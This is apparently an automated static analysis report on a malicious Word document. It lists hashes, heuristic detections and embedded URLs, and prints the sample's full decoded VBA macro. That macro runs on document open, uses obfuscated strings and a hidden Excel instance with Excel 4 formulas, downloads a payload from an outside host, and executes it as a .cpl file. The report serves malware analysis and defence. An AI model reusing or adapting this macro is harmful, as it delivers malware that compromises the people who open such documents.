Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d31be5129408aca0…

MALICIOUS

Office (OOXML)

16.5 KB Created: 2021-09-14 12:25:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-22
MD5: c587d6efa43aecb15163b6482b8b9dc4 SHA-1: 824fae21b764e68fa8ebcdb452629c27578b2042 SHA-256: d31be5129408aca0357a3d3dcdb58376dae84ad0f3e0e08495f0d5557995997a
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains a VBA macro with a Document_Open auto-execution function. This macro constructs a URL to download a file and then attempts to execute it. The macro dynamically constructs the download URL as "https://kanconsultgh.com/logs.php" and the save path for the payload as "C:\Users\<user>\AppData\Local\thinks-ce\test.cpl". It then uses CreateObject to launch Excel, writes formulas to cells that trigger the download and execution, and finally quits Excel. The presence of the Document_Open macro and CreateObject call strongly indicates a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1473 bytes
SHA-256: ff63b48c97f89b2647d7ed0b87b59058349439e6555891dca7ced5c4190641f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Document_Open()

On Error Resume Next

vcvg = Array("EXE", "URL", "oadToF", "LOSE", "ll", "C", "tt", "php", "plo")

deKIvErH = Selection.Information(4)
XhogxhPD = Environ("LocalAppData") & "\thi" & ylHXvH & "nk-ce" & vcvg(vbShortDate + deKIvErH)
KvLJMDi = XhogxhPD & "\tes" & ylHXvH & "t.cpl"
WkRe = "h" & vcvg(deKIvErH + vbShortTime) & "ps://kanconsultgh." & ylHXvH & "com/logs." & vcvg(deKIvErH + vbThursday)
aSOTjdw = "=" & vcvg(deKIvErH + vbLongTime) & "ALL(""" & vcvg(deKIvErH - vbLongDate) & "MON"",""" & vcvg(deKIvErH - vbLongDate) & "Downl" & vcvg(deKIvErH) & "ileA"",""JJC" & ylHXvH & "CJJ"",0,""" & WkRe & """,""" & KvLJMDi & """,0,0)"
OoDpn = "=EXE" & vcvg(deKIvErH + vbLongTime) & "(""ex" & vcvg(vbShortTime * deKIvErH) & "rer " & KvLJMDi & """)"
eBvLusr = "=" & vcvg(deKIvErH + vbLongTime) & "LOSE(FA" & ylHXvH & "LSE)"

MkDir XhogxhPD
    
Set kjTSGas = CreateObject("Excel.Application")
With kjTSGas
    .Workbooks.Add (deKIvErH + 1)
    .Visible = False
    .Range("A1").Name = "HqPlHWS"
    .Range("A1") = aSOTjdw
    .Range("A2") = OoDpn
    .Range("A3") = eBvLusr
    .Run "HqPlHWS"
    .Quit
End With


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: 69121af6b149afe775d7ad84d0c43177c1b95748fe658220c05ced4dff113402

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